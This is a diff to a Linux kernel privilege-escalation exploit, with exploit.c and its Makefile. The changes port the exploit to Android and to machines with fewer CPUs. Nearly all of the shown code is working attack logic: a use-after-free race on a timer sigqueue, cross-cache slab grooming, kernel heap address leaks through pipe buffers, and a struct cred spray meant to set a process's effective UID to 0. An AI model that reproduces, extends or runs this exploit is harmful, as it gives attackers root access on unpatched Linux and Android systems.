Skip to content
4 changes: 2 additions & 2 deletions Makefile
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
all:
gcc -o exploit -static exploit.c
gcc -o exploit exploit.c

clean:
rm -f exploit
rm -f exploit
165 changes: 116 additions & 49 deletions exploit.c
Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,18 @@
#define PARENT_SETTIME_DELAY_US_DELTA 50
#define CPU_USAGE_THRESHOLD 22000

// Control-plane: parent coordination, ptrace/waitpid, pipe sync. orig=0
#define CPU_ROLE_CTRL 0
// Low-impact/buffer lane: signal dequeue, staging work. orig=1
// Merging CTRL with AUX appers to be the least harmful, because both are typically IO/wait-heavy
#define CPU_ROLE_AUX 0
// Secondary work lane: bulk work / secondary allocation-sensitive steps. orig=2
// Merging CTRL with WORK is usually the worst, while AUX with WORK can sometimes be fine
#define CPU_ROLE_WORK 1
// Primary “special” lane: timing/allocator-sensitive critical path. orig=3
// Avoid merging SPECIAL with anything
#define CPU_ROLE_SPECIAL 2

/* Global variables for exploit setup START */

// Thread synchronization in child process
Expand Down Expand Up @@ -123,17 +135,27 @@ pid_t buggy_pid = 0; // Parent / child process PID based on above

/* Global variables for second stage END */

void pin_on_cpu(int i) {
void pin_on_cpu(int i) { // can fail if i > nproc
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(i, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
sched_setaffinity(0, sizeof(mask), &mask); // should check if this worked
}

static inline long long ts_to_ns(const struct timespec *ts) {
return (long long)ts->tv_sec * 1000000000LL + (long long)ts->tv_nsec;
}

static inline uint64_t ticks_now_ns(void) {
struct timespec ts;
#ifdef CLOCK_MONOTONIC_RAW
clock_gettime(CLOCK_MONOTONIC_RAW, &ts);
#else
clock_gettime(CLOCK_MONOTONIC, &ts);
#endif
return (uint64_t)ts.tv_sec * 1000000000ull + (uint64_t)ts.tv_nsec;
}

// Helper function to fully drain a signalfd.
//
// WARNING!!!! THIS FUNCTION IS AI GENERATED!!! DO NOT USE XD
Expand All @@ -150,32 +172,54 @@ int drain_signalfd(int sfd) {
return sig_count;
}

#ifdef __ANDROID__
// The handler that actually kills the thread from the inside
static void android_sig_cancel_handler(int sig) {
pthread_exit(NULL);
}

// Thread-safe initialization to ensure the handler is set only once
static pthread_once_t g_cancel_once = PTHREAD_ONCE_INIT;
static void android_setup_cancel_handler() {
struct sigaction sa;
sa.sa_handler = android_sig_cancel_handler;
sigemptyset(&sa.sa_mask);
sa.sa_flags = 0;
// Using a Real-Time signal to avoid clashing with SIGUSR1/2
sigaction(SIGRTMIN + 10, &sa, NULL);
}
#endif

static inline size_t rdtsc_begin(void)
{
#if defined(ARM64)
return rdtsc();
#else
size_t a, d;
asm volatile ("mfence");
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
a = (d<<32) | a;
asm volatile ("lfence");
return a;
#endif
#if defined(__x86_64__) || defined(_M_X64) || defined(__i386__) || defined(_M_IX86)
// x86/x86-64: Use serialized rdtsc for accuracy, as per original non-ARM branch
size_t a, d;
asm volatile ("mfence");
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
a = (d<<32) | a;
asm volatile ("lfence");
return a;
#else
// Non-x86 (e.g., ARM64, ARM32, others): rdtsc() is not available,
// avoiding kernel-dependent counters for maximum cross-platform compatibility
return ticks_now_ns();
#endif
}

static inline size_t rdtsc_end(void)
{
#if defined(ARM64)
return rdtsc();
#else
size_t a, d;
asm volatile ("lfence");
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
a = (d<<32) | a;
asm volatile ("mfence");
return a;
#endif
#if defined(__x86_64__) || defined(_M_X64) || defined(__i386__) || defined(_M_IX86)
// x86/x86-64: Use serialized rdtsc for accuracy, as per original non-ARM branch
size_t a, d;
asm volatile ("lfence");
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
a = (d<<32) | a;
asm volatile ("mfence");
return a;
#else
return ticks_now_ns();
#endif
}

// This function measures the average CPU time consumption of the `getpid()` syscall.
Expand Down Expand Up @@ -387,7 +431,7 @@ void cleanup_crosscache_sigqueues() {
void race_func(void) {
// Pin to same CPU as the `free_func()` thread. This is the first cross-cache
// CPU.
pin_on_cpu(3);
pin_on_cpu(CPU_ROLE_SPECIAL);

// For the race condition trigger
struct sigevent race_evt = {0};
Expand Down Expand Up @@ -429,7 +473,7 @@ void race_func(void) {
// Switch the pinned CPU after creating the UAF timer. This is important because
// `free_func()` must be able to run concurrently to this, and we also don't want to
// touch the active CPU slab of the cross-cache CPU!
pin_on_cpu(2);
pin_on_cpu(CPU_ROLE_WORK);

// Create the remaining stall timers for extending the race window
for (int i = 0; i < NUM_TIMERS; i++) {
Expand Down Expand Up @@ -465,7 +509,7 @@ void race_func(void) {
}

void free_func(void) {
pin_on_cpu(3);
pin_on_cpu(CPU_ROLE_SPECIAL);
prctl(PR_SET_NAME, "FREE_FUNC");

// Set up a poll for SIGUSR1. As soon as we receive it, we know
Expand All @@ -491,7 +535,7 @@ void free_func(void) {
//
// Important to reallocate in the parent process, so that the sighand locks are
// different.
pin_on_cpu(0);
pin_on_cpu(CPU_ROLE_CTRL);
SYSCHK(write(exploit_child_to_parent[1], SUCCESS_STR, 1)); // sync 4.SUCCESS

// Use the barrier to let the child process continue now and handle
Expand Down Expand Up @@ -540,7 +584,7 @@ void second_stage_exploit() {
memset(buf, 0, PAGE_SIZE);

// Just double confirm we are pinned to the right cross-cache CPU.
pin_on_cpu(3);
pin_on_cpu(CPU_ROLE_SPECIAL);

printf("\n[+] Stage 2 - Cross-cache the UAF sigqueue's slab\n");

Expand Down Expand Up @@ -577,7 +621,7 @@ void second_stage_exploit() {
printf("\t[+] Preparing task pending list for heap leaks\n");

// Switch CPUs to start on a clean slate for the second cross-cache.
pin_on_cpu(2);
pin_on_cpu(CPU_ROLE_WORK);

// Do the preallocs same as before.
sigqueue_crosscache_preallocs();
Expand All @@ -594,7 +638,7 @@ void second_stage_exploit() {
// This is because this signal was prepared on a non-cross-cache CPU in the first
// place, and we aren't using it in the cross-cache, so in order to not mess with
// the cross-cache, we have to free it on a different CPU.
pin_on_cpu(1);
pin_on_cpu(CPU_ROLE_AUX);

// NOTE: If the `buggy_pid` points to the child process, we have to ask the
// child process to dequeue the signal for us.
Expand All @@ -609,7 +653,7 @@ void second_stage_exploit() {
}

// Now switch back to the second cross-cache CPU
pin_on_cpu(2);
pin_on_cpu(CPU_ROLE_WORK);

// Scan the pipe buffer data page for the `next` and `prev` pointer to store them.
// Everything will be zeroes except those pointers at this point in time.
Expand Down Expand Up @@ -709,7 +753,7 @@ void second_stage_exploit() {
// fork NUM_CRED_PROCS processes. Do this on a non-cross-cache CPU.
//
// This is preparing for the `struct cred` spray later.
pin_on_cpu(1);
pin_on_cpu(CPU_ROLE_AUX);
printf("\t[+] Preparing %d processes for future `struct cred` spray\n", NUM_CRED_PROCS);
int cred_parent_pfds[2];
int cred_child_pfds[2];
Expand All @@ -730,11 +774,11 @@ void second_stage_exploit() {

// Pin on same CPU as the cross-cache CPU before calling
// `setresuid(-1,-1,-1)`. This allocates one cred struct.
pin_on_cpu(2);
pin_on_cpu(CPU_ROLE_WORK);
SYSCHK(setresuid(-1,-1,-1));

// Reset CPU and let the parent know we finished.
pin_on_cpu(1);
pin_on_cpu(CPU_ROLE_AUX);
SYSCHK(write(cred_child_pfds[1], &m, 1));

// Wait for the parent to potentially decrement our EUID to 0.
Expand Down Expand Up @@ -776,14 +820,14 @@ void second_stage_exploit() {

// Now free the other sigqueue's slab page, make sure to switch CPUs back to the
// second cross-cache CPU!
pin_on_cpu(2);
pin_on_cpu(CPU_ROLE_WORK);
free_crosscache_sigqueues();

// Wake up each child process to call `setresuid(-1,-1,-1)`
//
// NOTE: Writing to the pipe will allocate new pages. Switch
// to a non-cross-cache CPU to do this.
pin_on_cpu(1);
pin_on_cpu(CPU_ROLE_AUX);
for (int i = 0; i < NUM_CRED_PROCS; i++) {
SYSCHK(write(cred_parent_pfds[1], &m, 1));
SYSCHK(read(cred_child_pfds[0], &m, 1));
Expand Down Expand Up @@ -847,7 +891,7 @@ int main(int argc, char *argv[]) {

if (pid) {
// exploit parent process
pin_on_cpu(0);
pin_on_cpu(CPU_ROLE_CTRL);
close(exploit_child_to_parent[1]);
close(exploit_parent_to_child[0]);

Expand All @@ -863,7 +907,13 @@ int main(int argc, char *argv[]) {
struct sigevent realloc_evt = {0};
realloc_evt.sigev_notify = SIGEV_SIGNAL | SIGEV_THREAD_ID;
realloc_evt.sigev_signo = SIGUSR2;
realloc_evt._sigev_un._tid = (pid_t)syscall(SYS_gettid);
#ifdef sigev_notify_thread_id
/* musl / Modern POSIX style: uses the macro defined in signal.h */
realloc_evt.sigev_notify_thread_id = (pid_t)syscall(SYS_gettid);
#else
/* Bionic / Legacy glibc style: access the internal union directly */
realloc_evt._sigev_un._tid = (pid_t)syscall(SYS_gettid);
#endif
// realloc_evt.sigev_value.sival_ptr = (void *)0x4141414141414141uLL; // For debugging

// Create SIGUSR2 sfd, and block SIGUSR2 and SIGRTMIN+1 and SIGRTMIN+2 on this process.
Expand All @@ -884,9 +934,9 @@ int main(int argc, char *argv[]) {

// Prepare the preallocs for cross-cache for parent process
// NOTE: Must be on CPU 3!
pin_on_cpu(3);
pin_on_cpu(CPU_ROLE_SPECIAL);
sigqueue_crosscache_preallocs();
pin_on_cpu(0);
pin_on_cpu(CPU_ROLE_CTRL);

// On a different CPU to the cross-cache CPUs, enqueue a `SIGRTMIN+2` signal.
// This is used later to leak the task pending list address.
Expand All @@ -895,7 +945,7 @@ int main(int argc, char *argv[]) {

while (1) {
// Initially pin to CPU 0
pin_on_cpu(0);
pin_on_cpu(CPU_ROLE_CTRL);

// Reset `realloc_timer` on each try.
realloc_timer = (void *) -1;
Expand Down Expand Up @@ -935,7 +985,7 @@ int main(int argc, char *argv[]) {
// we can re-allocate it.
//
// Ensure to switch to CPU 3 before re-allocating.
pin_on_cpu(3);
pin_on_cpu(CPU_ROLE_SPECIAL);
SYSCHK(read(exploit_child_to_parent[0], &m, 1)); // sync 4

// Either `free_func()` sends us SUCCESS, or the child process main thread sends us FAIL.
Expand Down Expand Up @@ -1125,7 +1175,7 @@ int main(int argc, char *argv[]) {
exit(0);
} else {
// exploit child process
pin_on_cpu(1);
pin_on_cpu(CPU_ROLE_AUX);
close(exploit_child_to_parent[0]);
close(exploit_parent_to_child[1]);

Expand Down Expand Up @@ -1269,7 +1319,14 @@ int main(int argc, char *argv[]) {

// Poll for SIGUSR1 and SIGUSR2.
for (;;) {
int ret = poll(pfds, 2, poll_timeout);
// Note: On Android, pfds should include the stop_fd
// and the poll count should be 3 instead of 2.
#ifdef __ANDROID__
int ret = poll(pfds, 3, poll_timeout);
#else
int ret = poll(pfds, 2, poll_timeout);
#endif
printf("Poll has returned %d.\n", ret);
if (!ret) {
// Timeout case means one of two things:
//
Expand All @@ -1282,7 +1339,17 @@ int main(int argc, char *argv[]) {
// as otherwise it will be running and waiting forever for
// a signal.
if (!sigusr1_count) {
pthread_cancel(free_timer_thread);
#ifdef __ANDROID__
// Android/bionic: hack
// Ensure the signal handler is registered (only runs once)
pthread_once(&g_cancel_once, android_setup_cancel_handler);

// Brute force: Send the signal to the specific target thread only
pthread_kill(free_timer_thread, SIGRTMIN + 10);
#else
// Standard Linux libc: Hard cancellation
pthread_cancel(free_timer_thread);
#endif
}

// In the 2nd case, we'll hit this timeout only if the parent
Expand Down Expand Up @@ -1382,9 +1449,9 @@ int main(int argc, char *argv[]) {
//
// NOTE: After this, SIGUSR2 is removed from the task's signal mask, but
// SIGRTMIN+1 stays.
pin_on_cpu(2);
pin_on_cpu(CPU_ROLE_WORK);
SYSCHK(read(sigusr2_sfds[0], &si, sizeof(si)));
pin_on_cpu(1);
pin_on_cpu(CPU_ROLE_AUX);

// Let the parent know it can continue
SYSCHK(write(exploit_child_to_parent[1], SUCCESS_STR, 1)); // stage 2 - sync 5
Expand All @@ -1394,9 +1461,9 @@ int main(int argc, char *argv[]) {

// Dequeue the SIGRTMIN+1 signal. This MUST be done on CPU 2 for the
// second cross-cache to work.
pin_on_cpu(2);
pin_on_cpu(CPU_ROLE_WORK);
SYSCHK(read(sigrt1_sfd, &si, sizeof(si)));
pin_on_cpu(1);
pin_on_cpu(CPU_ROLE_AUX);

// Let the parent know it can continue
SYSCHK(write(exploit_child_to_parent[1], SUCCESS_STR, 1)); // stage 2 - sync 7
Expand Down Expand Up @@ -1471,4 +1538,4 @@ int main(int argc, char *argv[]) {
}
exit(0);
}
}
}